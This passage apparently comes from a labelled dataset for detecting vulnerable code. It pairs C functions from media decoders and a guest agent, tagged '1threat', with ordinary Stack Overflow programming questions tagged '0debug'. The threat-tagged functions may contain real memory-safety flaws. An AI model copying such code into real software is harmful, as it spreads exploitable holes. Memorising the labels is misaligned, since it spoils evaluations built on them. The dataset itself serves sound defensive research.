int sum = 0;
for (j = 0; j < s->downsampling; j++, x += s->channels)
sum += s->window[x];
s->coded_samples[ch][i] = sum;
}
}
if (!s->lossless)
{
double energy1 = 0.0, energy2 = 0.0;
for (ch = 0; ch < s->channels; ch++)
{
for (i = 0; i < s->block_align; i++)
{
double sample = s->coded_samples[ch][i];
energy2 += sample*sample;
energy1 += fabs(sample);
}
}
energy2 = sqrt(energy2/(s->channels*s->block_align));
energy1 = M_SQRT2*energy1/(s->channels*s->block_align);
if (energy2 > energy1)
energy2 += (energy2-energy1)*RATE_VARIATION;
quant = (int)(BASE_QUANT*s->quantization*energy2/SAMPLE_FACTOR);
quant = av_clip(quant, 1, 65534);
put_symbol(&c, state, quant, 0, NULL, NULL);
quant *= SAMPLE_FACTOR;
}
for (ch = 0; ch < s->channels; ch++)
{
if (!s->lossless)
for (i = 0; i < s->block_align; i++)
s->coded_samples[ch][i] = ROUNDED_DIV(s->coded_samples[ch][i], quant);
if ((ret = intlist_write(&c, state, s->coded_samples[ch], s->block_align, 1)) < 0)
return ret;
}
avpkt->size = ff_rac_terminate(&c);
*got_packet_ptr = 1;
return 0;
}
| 1threat |
def add_dict_to_tuple(test_tup, test_dict):
test_tup = list(test_tup)
test_tup.append(test_dict)
test_tup = tuple(test_tup)
return (test_tup) | 0debug |
How can I save a git "rebase in progress"? : <p>I'm in the middle of a large "rebase in progress" with numerous <em>conflicts</em>.</p>
<p>I would like to set this progress aside and attempt to resolve this issue using another approach.</p>
<p>Is there a way I can save an <em>in-progress</em> rebase such that I can finish it later?</p>
| 0debug |
static int decode_2(SANMVideoContext *ctx)
{
int cx, cy, ret;
for (cy = 0; cy != ctx->aligned_height; cy += 8) {
for (cx = 0; cx != ctx->aligned_width; cx += 8) {
if (ret = codec2subblock(ctx, cx, cy, 8))
return ret;
}
}
return 0;
}
| 1threat |
static int au_read_header(AVFormatContext *s)
{
int size;
unsigned int tag;
AVIOContext *pb = s->pb;
unsigned int id, channels, rate;
int bps;
enum AVCodecID codec;
AVStream *st;
tag = avio_rl32(pb);
if (tag != MKTAG('.', 's', 'n', 'd'))
return -1;
size = avio_rb32(pb);
avio_rb32(pb);
id = avio_rb32(pb);
rate = avio_rb32(pb);
channels = avio_rb32(pb);
codec = ff_codec_get_id(codec_au_tags, id);
if (codec == AV_CODEC_ID_NONE) {
av_log_ask_for_sample(s, "unknown or unsupported codec tag: %d\n", id);
return AVERROR_PATCHWELCOME;
}
bps = av_get_bits_per_sample(codec);
if (!bps) {
av_log_ask_for_sample(s, "could not determine bits per sample\n");
return AVERROR_PATCHWELCOME;
}
if (channels == 0 || channels > 64) {
av_log(s, AV_LOG_ERROR, "Invalid number of channels %d\n", channels);
return AVERROR_INVALIDDATA;
}
if (size >= 24) {
avio_skip(pb, size - 24);
}
st = avformat_new_stream(s, NULL);
if (!st)
return -1;
st->codec->codec_type = AVMEDIA_TYPE_AUDIO;
st->codec->codec_tag = id;
st->codec->codec_id = codec;
st->codec->channels = channels;
st->codec->sample_rate = rate;
st->codec->bit_rate = channels * rate * bps;
st->codec->block_align = channels * bps >> 3;
avpriv_set_pts_info(st, 64, 1, rate);
return 0;
}
| 1threat |
BiometricPrompt crashes on Samsung S9 with Face unlock : <p>I am using the new <a href="https://developer.android.com/reference/android/hardware/biometrics/BiometricPrompt" rel="noreferrer"><code>BiometricPrompt</code></a> API in Android P (API 28) in my application. (I am actually using it inside a wrapper based on <a href="https://github.com/anitaa1990/Biometric-Auth-Sample" rel="noreferrer">this project</a> so that it functions on older devices too, but that is not relevant to the question.) This is working very well on all devices I have tested, except for the Samsung S9 with face unlock.</p>
<p>Even though the stock Android version of <code>BiometricPrompt</code> currently only implements fingerprint authentication, Samsung appears to have extended it to support Face Unlock as well. When I trigger biometric authentication in my app, the "bottom sheet" pops up with a face icon (instead of the fingerprint icon shown on all other devices) and at the top of the screen some text appears that says "no face detected". (Note that the icon shown here is provided by the operating system, not by me, so it is obviously of Samsung's design.)</p>
<p>According to the documentation, the <code>BiometricPrompt</code> is only supposed to close itself and call my <code>onAuthenticationSucceeded</code> method if the authentication has been successful. According to <code>logcat</code>, it looks like it has been successful:</p>
<pre><code>I/IFaceDaemonCallback: BpFaceDaemonCallback onAcquired()
I/SS_3A: INFO: AEC: TsAec_process_get_aec_info: 650: [Id=132] algo_out g=1.785 e_time=0.025 IsLLS=0x0 Ev=7.422 Bv=2.348 ProEv=7.348 Cvgd=1 lux=261, lls=0x0
E/CHI: [SS_ERR ]: [CHI_FACTORY ]: chxseccamerafactoryusecase.cpp: ExecuteCaptureRequest: 452: pMetaData is NULL
I/FaceHal: face_processFrontImage[614398]
I/FaceServiceWrapper: ss_face_processFrontImage(data_len = 614398, width = 480, height = 640, rotation = 270)
I/NativeFaceService: FaceService::processFrontImage - data_len (614398) width(480) height(640) rotation(270) format(2)
I/NativeFaceService: SEC_FR_SERVICE_AUTHENTICATE
I/sec_fr_engine_qsee: sec_fr_engine_on_authenticate_frame
D/sec_fr_engine_qsee: call QSEECom_send_cmd
I/SS_3A: INFO: AEC: TsAec_process_get_aec_info: 650: [Id=133] algo_out g=1.785 e_time=0.025 IsLLS=0x0 Ev=7.422 Bv=2.352 ProEv=7.352 Cvgd=1 lux=261, lls=0x0
E/CHI: [SS_ERR ]: [CHI_FACTORY ]: chxseccamerafactoryusecase.cpp: ExecuteCaptureRequest: 452: pMetaData is NULL
I/SS_3A: INFO: AEC: TsAec_process_get_aec_info: 650: [Id=134] algo_out g=1.864 e_time=0.025 IsLLS=0x0 Ev=7.359 Bv=2.332 ProEv=7.332 Cvgd=0 lux=262, lls=0x0
E/CHI: [SS_ERR ]: [CHI_FACTORY ]: chxseccamerafactoryusecase.cpp: ExecuteCaptureRequest: 452: pMetaData is NULL
I/SS_3A: INFO: AEC: TsAec_process_get_aec_info: 650: [Id=135] algo_out g=1.910 e_time=0.025 IsLLS=0x0 Ev=7.324 Bv=2.324 ProEv=7.324 Cvgd=0 lux=262, lls=0x0
E/CHI: [SS_ERR ]: [CHI_FACTORY ]: chxseccamerafactoryusecase.cpp: ExecuteCaptureRequest: 452: pMetaData is NULL
I/SS_3A: INFO: AEC: TsAec_process_get_aec_info: 650: [Id=136] algo_out g=1.920 e_time=0.025 IsLLS=0x0 Ev=7.316 Bv=2.316 ProEv=7.316 Cvgd=0 lux=262, lls=0x0
E/CHI: [SS_ERR ]: [CHI_FACTORY ]: chxseccamerafactoryusecase.cpp: ExecuteCaptureRequest: 452: pMetaData is NULL
I/sec_fr_engine_qsee: [Performance Log] QSEECom_send_cmd (129683) us in sec_fr_engine_on_authenticate_frame
D/sec_fr_engine_qsee: QSEECom_send_cmd Success
D/sec_fr_engine_qsee: return value from qsapp is 0
I/NativeFaceService: sec_fr_engine_on_authenticate_frame - status = [0], identified = [1], keepProcessing = [1]
I/NativeFaceService: identify succeeds
I/FaceServiceStorage: GetFileSize::Size of file: 196 bytes.
I/FaceServiceStorage: file size = 196
I/NativeFaceService: sid file length = 196
I/sec_fr_engine_qsee: sec_fr_engine_authenticated
D/sec_fr_engine_qsee: call QSEECom_send_cmd
I/SS_3A: INFO: AEC: TsAec_process_get_aec_info: 650: [Id=137] algo_out g=1.936 e_time=0.025 IsLLS=0x0 Ev=7.305 Bv=2.301 ProEv=7.301 Cvgd=0 lux=263, lls=0x0
I/sec_fr_engine_qsee: [Performance Log] QSEECom_send_cmd (12414) us in sec_fr_engine_authenticated
D/sec_fr_engine_qsee: QSEECom_send_cmd Success
D/sec_fr_engine_qsee: return value from qsapp is 0
I/FaceServiceCallback: sendAuthenticated in
I/faced_Proxy: wrapped_object_length = 0
I/IFaceDaemonCallback: BpFaceDaemonCallback onAuthenticated()
I/FaceServiceCallback: sendAuthenticated out
I/SemBioFaceServiceD: handleAuthenticated : 1
D/keystore: AddAuthenticationToken: timestamp = 168377203, time_received = 16675
I/SemBioFacePrompt: isSuccess = true
</code></pre>
<p>However, it then crashes with the following error:</p>
<pre><code>E/keystore: getAuthToken failed: -3
W/System.err: javax.crypto.IllegalBlockSizeException
W/System.err: at android.security.keystore.AndroidKeyStoreCipherSpiBase.engineDoFinal(AndroidKeyStoreCipherSpiBase.java:519)
W/System.err: at javax.crypto.Cipher.doFinal(Cipher.java:2055)
W/System.err: at com.mycompany.myapp.activities.LoginActivity.onAuthenticationSuccessful(LoginActivity.java:560)
W/System.err: at com.mycompany.common.security.BiometricCallbackV28.onAuthenticationSucceeded(BiometricCallbackV28.kt:18)
W/System.err: at com.samsung.android.bio.face.SemBioFaceManager.sendAuthenticatedSucceeded(SemBioFaceManager.java:1507)
W/System.err: at com.samsung.android.bio.face.SemBioFaceManager.access$2400(SemBioFaceManager.java:73)
W/System.err: at com.samsung.android.bio.face.SemBioFaceManager$3.lambda$onAuthenticationSucceeded$1(SemBioFaceManager.java:1673)
W/System.err: at com.samsung.android.bio.face.-$$Lambda$SemBioFaceManager$3$GGUPv9osWllaLwJM7Wg6GJEWK8E.run(Unknown Source:6)
W/System.err: at android.os.Handler.handleCallback(Handler.java:873)
W/System.err: at android.os.Handler.dispatchMessage(Handler.java:99)
W/System.err: at android.os.Looper.loop(Looper.java:214)
W/System.err: at android.app.ActivityThread.main(ActivityThread.java:6981)
W/System.err: at java.lang.reflect.Method.invoke(Native Method)
W/System.err: at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
W/System.err: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1445)
W/System.err: Caused by: android.security.KeyStoreException: Key user not authenticated
W/System.err: at android.security.KeyStore.getKeyStoreException(KeyStore.java:1168)
W/System.err: at android.security.keystore.KeyStoreCryptoOperationChunkedStreamer.update(KeyStoreCryptoOperationChunkedStreamer.java:132)
W/System.err: at android.security.keystore.KeyStoreCryptoOperationChunkedStreamer.doFinal(KeyStoreCryptoOperationChunkedStreamer.java:217)
W/System.err: at android.security.keystore.AndroidKeyStoreCipherSpiBase.engineDoFinal(AndroidKeyStoreCipherSpiBase.java:506)
W/System.err: ... 14 more
</code></pre>
<p>According to the documentation, the success of the biometric authentication should have unlocked the keystore, but that has clearly not happened as shown by the <code>Key user not authenticated</code> message in the exception.</p>
<p>How can I get this working?</p>
| 0debug |
Possible to include HTML within php define()? : I want to know if it is possible to include HTML code within PHP define().
I use define() for emailing purposes. I use it to send a verification email to users who register on the site, however, instead of a plain, old boring text, I want to know if it would be possible to include HTML elements, such as headers, images etc..
Here's my current code:
define("EMAIL_VERIFICATION_CONTENT", "Activate your account by clicking the link below");
So the above code includes the email content with simply just text. I wish to add images, headers and colors into the email etc.
Any help and guidance would be great.
Thank you! | 0debug |
sonar jdbc properties are not supported anymore in sonarqube 5.3 version : <p>I am using sonarqube 5.3 latest version and when I configure the sonar jdbc properties in my properties file using</p>
<pre><code>property "sonar.jdbc.url", "jdbc:mysql://localhost:3306/sonar")
property "sonar.jdbc.username", "root")
property "sonar.jdbc.password", "root")
</code></pre>
<p>I get warning message </p>
<pre><code>Property 'sonar.jdbc.url' is not supported any more. It will be ignored. There is no longer any DB connection to the SQ database.
Property 'sonar.jdbc.username' is not supported any more. It will be ignored. There is no longer any DB connection to the SQ database.
Property 'sonar.jdbc.password' is not supported any more. It will be ignored. There is no longer any DB connection to the SQ database.
</code></pre>
<p>How to configure external database and not use embedded database provided by sonarqube?</p>
| 0debug |
C++ open multiple ofstreams in a loop : <p>I need to open undefined number of files with ofstream to write in. the file names should have a format of plot1.xpm, plot2.xpm, plot3.xpm,... .
The program looks like this:
I don't know what should I place in stars.</p>
<pre><code>for(m = 0; m < spf; m++){
//some calculations on arr[]
ofstream output(???);
for(x = 0; x < n; x++){
for(y = 0; y < n; y++){
if (arr[x*n + y] == 0)
output<<0;
else output<<1;
}
output<<'\n';
output.close();
}
</code></pre>
| 0debug |
Go nethttp request body is always nil : The http request body is always nil. Why is this happening? I am using the gokit toolkit. Below code is part of the handler.
func decodeCreateRequest(_ context.Context, r *http.Request)
(interface{}, error) {
req := endpoint.CreateRequest{}
err := json.NewDecoder(r.Body).Decode(&req)
return req, err
} | 0debug |
Unable to check the Internet Available : <p>I am working on an android application that have a web-view. The problem comes when I want to check whether Internet is available before displaying default message.
I have studied these links <a href="https://stackoverflow.com/questions/38038301/how-to-check-internet-connection-in-android-webview-and-show-no-internet-image-n">Link1</a>and <a href="https://stackoverflow.com/questions/29294907/check-whether-connected-to-the-internet-or-not-before-loading-webview">link2</a>. I am confused how to do this.
Here is my code</p>
<pre><code> protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Web= findViewById(R.id.webview);
Web.getSettings().setJavaScriptEnabled(true);
Web.loadUrl("http://yourconsenthomebuilders.com/app/clients");
}
</code></pre>
| 0debug |
setting python object property not changing value : <p>If you look at my code below, I'm creating a FileNode and passing it the string(filename). When the filename setter is triggered it should then populate the remaining fields, however it doesn't appear to work. </p>
<p>I'm currently just trying to test setting the property 'extension' within the 'filename' setter, but it doesn't seem to change the property, Why is this?</p>
<pre><code>import os
import pprint
class FileNode(object):
def __init__(self, filename):
self.filename = filename
self.show = ""
self.episode = ""
self.sequence = ""
self.shot = ""
self.task = ""
self.version = ""
self.extension = ""
self.isValid = False
@property
def filename(self):
return self.filename
@property
def extension(self):
return self.extension
@filename.setter
def filename(self, value):
self._filename = value
fl, ex = os.path.splitext(value)
self._extension = "candles"
@extension.setter
def extension(self, value):
self._extension = value
a = FileNode("BTMAN_1005_001_007_model_cup_v001.max")
# print (vars(a))
pp = pprint.PrettyPrinter(depth=6)
pp.pprint(vars(a))
b = FileNode("BTMAN_1005_001_007_model_v001.max")
# print (vars(b))
pp = pprint.PrettyPrinter(depth=6)
pp.pprint(vars(b))
</code></pre>
| 0debug |
Set build number for Jenkins workflow (pipeline) builds : <p>I am migrating jenkins-workflow job to new template based workflow job. Because the build number is used as part of the version of build artifacts the workflow produces I have to start build number of the new workflow with a number greater than the old workflow. Unfortunately 'Next Build Number' plugin does not work with workflow pipeline. </p>
<p>Anybody knows a good way do this?</p>
| 0debug |
Why is `git push --force-with-lease` failing with "rejected ... stale info" even when my local repo is up to date with remote? : <p>I'm trying to force push a rebase of a feature branch to a remote repository. To be a bit safer, I'm trying to use <code>--force-with-lease</code> to make sure no other changes have happened in the branch since I last fetched it.</p>
<p>This is failing for reasons I don't understand:</p>
<pre><code>$ git branch
* my-branch
master
$ git push --force-with-lease origin my-branch -u
To gitlab.com:example/my-project.git
! [rejected] my-branch -> my-branch (stale info)
error: failed to push some refs to 'git@gitlab.com:example/my-project.git'
</code></pre>
<p>I tried a fetch to see if my local cache had somehow gotten out of sync:</p>
<pre><code>$ git fetch
$ git push --force-with-lease origin my-branch -u
To gitlab.com:example/my-project.git
! [rejected] my-branch -> my-branch (stale info)
error: failed to push some refs to 'git@gitlab.com:example/my-project.git'
</code></pre>
<p>I tried simplifying the push command a bit:</p>
<pre><code>$ git push --force-with-lease
To gitlab.com:example/my-project.git
! [rejected] my-branch -> my-branch (stale info)
error: failed to push some refs to 'git@gitlab.com:example/my-project.git'
</code></pre>
<p>I tried limiting the check to my branch:</p>
<pre><code>$ git push --force-with-lease=my-branch:origin/my-branch
To gitlab.com:example/my-project.git
! [rejected] my-branch -> my-branch (stale info)
error: failed to push some refs to 'git@gitlab.com:example/my-project.git'
</code></pre>
<p>As you can see, it fails the same way every time.</p>
<p>Why is my push failing, and how do I fix it?</p>
| 0debug |
How to retrieve an array list of data in Firebase Android : [Here's the Image][1]
[1]: https://i.stack.imgur.com/OxKvc.png
How do I retrieve the contents of "custProd"? TIA. | 0debug |
Get wikipedia city info - Java : Get city information from wikipedia, and show it on an Android APP.
However, every time i try to transform the data to json, throws an exception
https://en.wikipedia.org/w/api.php?action=query&prop=revisions&titles=Threadless&rvprop=content&format=json&rvsection=0
JSONArray jsondata = new JSONArray(sb.toString());
| 0debug |
static int video_get_buffer(AVCodecContext *s, AVFrame *pic)
{
FramePool *pool = s->internal->pool;
const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(pic->format);
int i;
if (pic->data[0]) {
av_log(s, AV_LOG_ERROR, "pic->data[0]!=NULL in avcodec_default_get_buffer\n");
return -1;
}
if (!desc) {
av_log(s, AV_LOG_ERROR,
"Unable to get pixel format descriptor for format %s\n",
av_get_pix_fmt_name(pic->format));
return AVERROR(EINVAL);
}
memset(pic->data, 0, sizeof(pic->data));
pic->extended_data = pic->data;
for (i = 0; i < 4 && pool->pools[i]; i++) {
pic->linesize[i] = pool->linesize[i];
pic->buf[i] = av_buffer_pool_get(pool->pools[i]);
if (!pic->buf[i])
goto fail;
pic->data[i] = pic->buf[i]->data;
}
for (; i < AV_NUM_DATA_POINTERS; i++) {
pic->data[i] = NULL;
pic->linesize[i] = 0;
}
if (desc->flags & AV_PIX_FMT_FLAG_PAL ||
desc->flags & AV_PIX_FMT_FLAG_PSEUDOPAL)
avpriv_set_systematic_pal2((uint32_t *)pic->data[1], pic->format);
if (s->debug & FF_DEBUG_BUFFERS)
av_log(s, AV_LOG_DEBUG, "default_get_buffer called on pic %p\n", pic);
return 0;
fail:
av_frame_unref(pic);
return AVERROR(ENOMEM);
}
| 1threat |
alert('Hello ' + user_input); | 1threat |
static int ljpeg_decode_yuv_scan(MJpegDecodeContext *s, int predictor,
int point_transform, int nb_components)
{
int i, mb_x, mb_y, mask;
int bits= (s->bits+7)&~7;
int resync_mb_y = 0;
int resync_mb_x = 0;
point_transform += bits - s->bits;
mask = ((1 << s->bits) - 1) << point_transform;
av_assert0(nb_components>=1 && nb_components<=4);
for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
if (s->restart_interval && !s->restart_count){
s->restart_count = s->restart_interval;
resync_mb_x = mb_x;
resync_mb_y = mb_y;
}
if(!mb_x || mb_y == resync_mb_y || mb_y == resync_mb_y+1 && mb_x < resync_mb_x || s->interlaced){
int toprow = mb_y == resync_mb_y || mb_y == resync_mb_y+1 && mb_x < resync_mb_x;
int leftcol = !mb_x || mb_y == resync_mb_y && mb_x == resync_mb_x;
for (i = 0; i < nb_components; i++) {
uint8_t *ptr;
uint16_t *ptr16;
int n, h, v, x, y, c, j, linesize;
n = s->nb_blocks[i];
c = s->comp_index[i];
h = s->h_scount[i];
v = s->v_scount[i];
x = 0;
y = 0;
linesize= s->linesize[c];
if(bits>8) linesize /= 2;
for(j=0; j<n; j++) {
int pred, dc;
dc = mjpeg_decode_dc(s, s->dc_index[i]);
if(dc == 0xFFFFF)
return -1;
if(bits<=8){
ptr = s->picture_ptr->data[c] + (linesize * (v * mb_y + y)) + (h * mb_x + x);
if(y==0 && toprow){
if(x==0 && leftcol){
pred= 1 << (bits - 1);
}else{
pred= ptr[-1];
}
}else{
if(x==0 && leftcol){
pred= ptr[-linesize];
}else{
PREDICT(pred, ptr[-linesize-1], ptr[-linesize], ptr[-1], predictor);
}
}
if (s->interlaced && s->bottom_field)
ptr += linesize >> 1;
pred &= mask;
*ptr= pred + (dc << point_transform);
}else{
ptr16 = (uint16_t*)(s->picture_ptr->data[c] + 2*(linesize * (v * mb_y + y)) + 2*(h * mb_x + x));
if(y==0 && toprow){
if(x==0 && leftcol){
pred= 1 << (bits - 1);
}else{
pred= ptr16[-1];
}
}else{
if(x==0 && leftcol){
pred= ptr16[-linesize];
}else{
PREDICT(pred, ptr16[-linesize-1], ptr16[-linesize], ptr16[-1], predictor);
}
}
if (s->interlaced && s->bottom_field)
ptr16 += linesize >> 1;
pred &= mask;
*ptr16= pred + (dc << point_transform);
}
if (++x == h) {
x = 0;
y++;
}
}
}
} else {
for (i = 0; i < nb_components; i++) {
uint8_t *ptr;
uint16_t *ptr16;
int n, h, v, x, y, c, j, linesize, dc;
n = s->nb_blocks[i];
c = s->comp_index[i];
h = s->h_scount[i];
v = s->v_scount[i];
x = 0;
y = 0;
linesize = s->linesize[c];
if(bits>8) linesize /= 2;
for (j = 0; j < n; j++) {
int pred;
dc = mjpeg_decode_dc(s, s->dc_index[i]);
if(dc == 0xFFFFF)
return -1;
if(bits<=8){
ptr = s->picture_ptr->data[c] +
(linesize * (v * mb_y + y)) +
(h * mb_x + x);
PREDICT(pred, ptr[-linesize-1], ptr[-linesize], ptr[-1], predictor);
pred &= mask;
*ptr = pred + (dc << point_transform);
}else{
ptr16 = (uint16_t*)(s->picture_ptr->data[c] + 2*(linesize * (v * mb_y + y)) + 2*(h * mb_x + x));
PREDICT(pred, ptr16[-linesize-1], ptr16[-linesize], ptr16[-1], predictor);
pred &= mask;
*ptr16= pred + (dc << point_transform);
}
if (++x == h) {
x = 0;
y++;
}
}
}
}
if (s->restart_interval && !--s->restart_count) {
align_get_bits(&s->gb);
skip_bits(&s->gb, 16);
}
}
}
return 0;
}
| 1threat |
rails change the way you access an article object : THIS IS HOW IT IS
article_path(Article.first) - 'http://localhost:3000/articles/1063'
get 'articles/:id', to: 'articles#show', as: 'article'
NOW I WANT TO CHANGE LIKE THIS
article_path(Article.first) - 'http://localhost:3000/articles/article-title-1063'
get 'articles/:id', to: 'articles#show', as: 'article' , id: /some_regex/
| 0debug |
why we need to access using [ ] for access variable name include hyphan? : Either if you saying '-' takes as a subtract expression. eg. Json = {'Me-m':123} But have you idea why we need to use [] for access this hyphen variable.
Such like that Json['Me-m'].
| 0debug |
void qmp_guest_fstrim(bool has_minimum, int64_t minimum, Error **errp)
{
int ret = 0;
FsMountList mounts;
struct FsMount *mount;
int fd;
Error *local_err = NULL;
struct fstrim_range r = {
.start = 0,
.len = -1,
.minlen = has_minimum ? minimum : 0,
};
slog("guest-fstrim called");
QTAILQ_INIT(&mounts);
build_fs_mount_list(&mounts, &local_err);
if (local_err) {
error_propagate(errp, local_err);
return;
}
QTAILQ_FOREACH(mount, &mounts, next) {
fd = qemu_open(mount->dirname, O_RDONLY);
if (fd == -1) {
error_setg_errno(errp, errno, "failed to open %s", mount->dirname);
goto error;
}
ret = ioctl(fd, FITRIM, &r);
if (ret == -1) {
if (errno != ENOTTY && errno != EOPNOTSUPP) {
error_setg_errno(errp, errno, "failed to trim %s",
mount->dirname);
close(fd);
goto error;
}
}
close(fd);
}
error:
free_fs_mount_list(&mounts);
}
| 1threat |
Need help to read specific line in a log which ends with specific word. : I need help on java code to read a log file that can print all lines present ends with START word.
Kindly help.
my file contains-->
test 1 START
test2 XYZ
test 3 ABC
test 2 START
it should print
test 1 START
test 2 START
I tried below code but it printing START only.
public class Findlog{
public static void main(String[] args) throws IOException {
BufferedReader r = new BufferedReader(new FileReader("myfile"));
Pattern patt = Pattern.compile("START");
// For each line of input, try matching in it.
String line;
while ((line = r.readLine()) != null) {
// For each match in the line, extract and print it.
Matcher m = patt.matcher(line);
while (m.find()) {
// Simplest method:
// System.out.println(m.group(0));
// Get the starting position of the text
int start = m.start(0);
int end = m.end(0);
// Print whatever matched.
// Use CharacterIterator.substring(offset, end);
System.out.println(line.substring(start, end));
}
} | 0debug |
Please suggest javascript code for converting distinguished name into canonical name?Please refer the details below : This is distinguished name "CN=Peterson\,Misha,OU=Users,OU=Bright,OU=APAC,DC=xyz,DC=ang,DC=com". I need to convert this into"xyz.ang.com/APAC/Bright/Users/Peterson,Misha",i.e., Canonical name. | 0debug |
Difference between else and elsif in this peice of code that hails different results? : in this code here if I put longest_word("my name is bobby li") it returns "bobby" if it is elsif but if i choose else it will return "li". Can someone explain?
def longest_word(sentence)
words = sentence.split(" ")
longest_word = nil
word_idx = 0
while word_idx < words.length
current_word = words[word_idx]
if longest_word == nil
longest_word = current_word
**elsif** longest_word.length < current_word.length
longest_word = current_word
end
word_idx += 1
end
return longest_word
end
| 0debug |
Converting String into Object Json Array using Java : <p>I have this string which located inside external file.</p>
<pre><code> {
"IsValid": true,
"LiveSessionDataCollection": [
{
"CreateDate": "2017-12-27T13:29:06.595Z",
"Data": "Khttp://www8.hp.com/us/en/large-format-printers/designjet-printers/products.html&AbSGOX+SGOXpLXpBF8CXpGOA9BFFPconsole.info('DeploymentConfigName%3DRelease_20171227%26Version%3D1')%3B&HoConfig: Release_20171227&AwDz//////8NuaCh63&Win32&SNgYAJBBYWCYKW9a&2&SGOX+SGOXpF/1en-us&AAAAAAAAAAAAQICBCXpGOAAMBBBB8jl",
"DataFlags": 8,
"DataFlagType": 264,
"LegacyLiveSessionDataType": null,
"LiveSessionId": 1545190526042650,
"MessageNumber": 0,
"StreamId": 0,
"StreamMessageId": 0,
"ProjectId": 201
},
{
"CreateDate": "2017-12-27T13:29:08.887Z",
"Data": "oDB Information Level : Detailed&9BbRoDB Annual Sales : 55000000&BoDB Audience : Mid-Market Business&AoDB%20Audience%20Segment%20%3A%20Retail%20%26%20Distribution&AoDB B2C : true&AoDB Company Name : Clicktale Inc&AoDB SID : 120325490&AoDB Employee Count : 275&AoDB Employee Range : Mid-Market&AoDB%20Industry%20%3A%20Retail%20%26%20Distribution&AoDB Revenue Range : $50M - $100M&AoDB Sub Industry : Electronics&AoDB Traffic : High&AWB9tY/8bvOBBP_({\"a\":[{\"a\":{\"s\":\"w:auto;l:auto;\"},\"n\":\"div53\"}]})&sP_({\"a\":[{\"a\":{\"s\":\"w:auto;l:auto;\"},\"n\":\"div62\"}]})&FP_({\"r\":[\"script2\"],\"m\":[{\"n\":{\"nt\":1,\"tn\":\"SCRIPT\",\"a\":{\"async\":\"\",\"src\":\"http://admin.brightcove.com/js/api/SmartPlayerAPI.js?_=1514381348598\"},\"i\":\"script55\"},\"t\":false,\"pn\":\"head1\"}]})&8GuP_({\"a\":[{\"a\":{\"s\":\"t:0px;mt:0px;l:274.5px;ml:0px;\"},\"n\":\"div442\"}]})&SP_({\"a\":[{\"a\":{\"s\":\"t:0px;mt:0px;l:274.5px;ml:0px;\"},\"n\":\"div444\"}]})&D",
"DataFlags": 8,
"DataFlagType": 264,
"LegacyLiveSessionDataType": null,
"LiveSessionId": 1545190526042650,
"MessageNumber": 1,
"StreamId": 0,
"StreamMessageId": 1,
"ProjectId": 201
},
{
"CreateDate": "2017-12-27T13:29:08.971Z",
"Data": "P_({\"a\":[{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div105\"},{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div114\"},{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div123\"}]})&9B+8P_({\"a\":[{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div167\"},{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div169\"},{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div178\"}]})&JP_({\"a\":[{\"a\":{\"s\":\"mih:457px;\"},\"n\":\"div220\"},{\"a\":{\"s\":\"mih:457px;\"},\"n\":\"div229\"},{\"a\":{\"s\":\"mih:457px;\"},\"n\":\"div238\"}]})&FP_({\"a\":[{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div282\"},{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div291\"},{\"a\":{\"s\":\"mih:480px;\"},\"n\":\"div300\"}]})&HP_({\"a\":[{\"a\":{\"s\":\"t:0px;mt:-92px;l:274.5px;ml:0px;\"},\"n\":\"div442\"}]})&HP_({\"a\":[{\"a\":{\"s\":\"t:0px;mt:-92px;l:274.5px;ml:0px;\"},\"n\":\"div444\"}]})&B",
"DataFlags": 8,
"DataFlagType": 264,
"LegacyLiveSessionDataType": null,
"LiveSessionId": 1545190526042650,
"MessageNumber": 2,
"StreamId": 0,
"StreamMessageId": 2,
"ProjectId": 201
},
{
"CreateDate": "2017-12-27T13:29:08.98Z",
"Data": "P_({\"r\":[\"object1\",\"param1\",\"param2\",\"param3\",\"param4\",\"param5\",\"param6\",\"param7\",\"param8\",\"param9\",\"param10\",\"param11\",\"param12\",\"param13\",\"param14\",\"param15\"],\"m\":[{\"n\":{\"nt\":1,\"tn\":\"OBJECT\",\"a\":{\"type\":\"application/x-shockwave-flash\",\"i\":\"LNK--1710e8cd-4820-4be0-8cf0-28d57402afd8LNK--1710e8cd-4820-4be0-8cf0-28d57402afd8\",\"width\":\"720\",\"height\":\"422\",\"c\":\"BrightcoveExperience BrightcoveExperienceID_1039\",\"seamlesstabbing\":\"undefined\"},\"i\":\"object3\"},\"t\":false,\"pn\":\"div443\",\"ps\":\"meta29\"},{\"n\":{\"nt\":1,\"tn\":\"SCRIPT\",\"a\":{\"type\":\"text/javascript\",\"src\":\"http://admin.brightcove.com/js/api/SmartPlayerAPI.js\"},\"i\":\"script56\"},\"t\":false,\"pn\":\"div443\",\"ps\":\"object3\"},{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"allowScriptAccess\",\"v\":\"always\"},\"i\":\"param31\"},\"t\":false,\"pn\":\"object3\"},{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"allowFullScreen\",\"v\":\"true\"},\"i\":\"param32\"},\"t\":false,\"pn\":\"object3\",\"ps\":\"param31\"},{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"seamlessTabbing\",\"v\":\"false\"},\"i\":\"param33\"},\"t\":false,\"pn\":\"object3\",\"ps\":\"param32\"},{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"swliveconnect\",\"v\":\"true\"},\"i\":\"param34\"},\"t\":false,\"pn\":\"object3\",\"ps\":\"param33\"},{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"wmode\",\"v\":\"opaque\"},\"i\":\"param35\"},\"t\":false,\"pn\":\"object3\",\"ps\":\"param34\"},{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"quality\",\"v\":\"high\"},\"i\":\"param36\"},\"t\":false,\"pn\":\"object3\",\"ps\":\"param35\"}